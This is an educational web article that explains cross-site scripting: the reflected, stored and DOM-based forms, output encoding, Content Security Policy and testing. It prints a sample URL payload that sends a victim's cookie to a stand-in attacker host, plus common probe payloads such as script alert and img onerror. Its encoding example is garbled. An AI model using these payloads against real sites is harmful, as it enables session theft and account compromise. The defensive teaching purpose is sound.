Cross-Site Scripting (XSS) Explained
Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious JavaScript into pages viewed by other users. It is consistently one of the most common web vulnerabilities, enabling session theft, defacement, keylogging, and phishing attacks that appear to come from a trusted site.
How XSS Works
XSS occurs when an application includes untrusted data in a web page without proper validation or encoding. If a user's input ends up in the HTML output unescaped, an attacker can inject <script> tags or event handlers that execute in the victim's browser, with full access to the page's DOM, cookies, and session.
Reflected XSS
In reflected XSS, the malicious script is part of the request — typically in a URL parameter. The server includes the parameter in the response without encoding it:
https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
The attacker tricks a victim into clicking this link (via phishing or a malicious page). The script executes in the context of example.com, stealing the victim's session cookie. Use the URL Encoder to see how special characters in URLs are percent-encoded — but remember that encoding alone does not prevent XSS.
Stored XSS
Stored (persistent) XSS is more dangerous. The malicious script is saved in the application's database — in a comment, profile field, or message. Every user who views the page containing the stored data executes the script. A single stored XSS vulnerability in a popular comment section can compromise thousands of accounts.
DOM-Based XSS
DOM-based XSS happens entirely in the browser. The vulnerability is in client-side JavaScript that reads data from a source (like location.hash or document.referrer) and inserts it into the page via innerHTML, document.write(), or eval(). The server never sees the malicious input because it stays in the browser. Inspect and test your JavaScript code with the JS Beautifier to spot unsafe DOM manipulation patterns.
Prevention: Output Encoding
The primary defense against XSS is context-aware output encoding. When inserting untrusted data into HTML, encode HTML special characters (< → <, > → >, etc.). When inserting into JavaScript strings, use JavaScript encoding. When inserting into URL parameters, use URL encoding. When inserting into CSS, use CSS encoding. The encoding must match the context — HTML encoding in a JavaScript string context does not prevent XSS.
Content Security Policy (CSP)
CSP is a browser security feature that restricts which scripts can execute on a page. A strict CSP blocks inline scripts and only allows scripts from specified sources:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
Even if an attacker injects a script tag, the browser blocks it because it is not from an allowed source. CSP does not replace output encoding — it is a defense-in-depth layer. Use the JSON Formatter to inspect CSP violation reports (sent as JSON to your reporting endpoint).
Frameworks and Auto-Escaping
Modern frameworks (React, Angular, Vue) auto-escape output by default, which prevents most XSS. However, they all provide escape hatches (dangerouslySetInnerHTML, [innerHTML], v-html) that bypass auto-escaping. When you must use raw HTML, sanitize it with a library like DOMPurify — never trust your own regex-based sanitizer.
Testing for XSS
Test by injecting common payloads: <script>alert(1)</script>, <img onerror=alert(1) src=x>, javascript:alert(1). Test every input field, URL parameter, header value, and cookie that appears in the response. Automated scanners (Burp Suite, OWASP ZAP) help, but manual testing catches context-specific vulnerabilities that scanners miss. Use the Unicode Converter to explore Unicode-based XSS bypass techniques that attackers use against naive filters.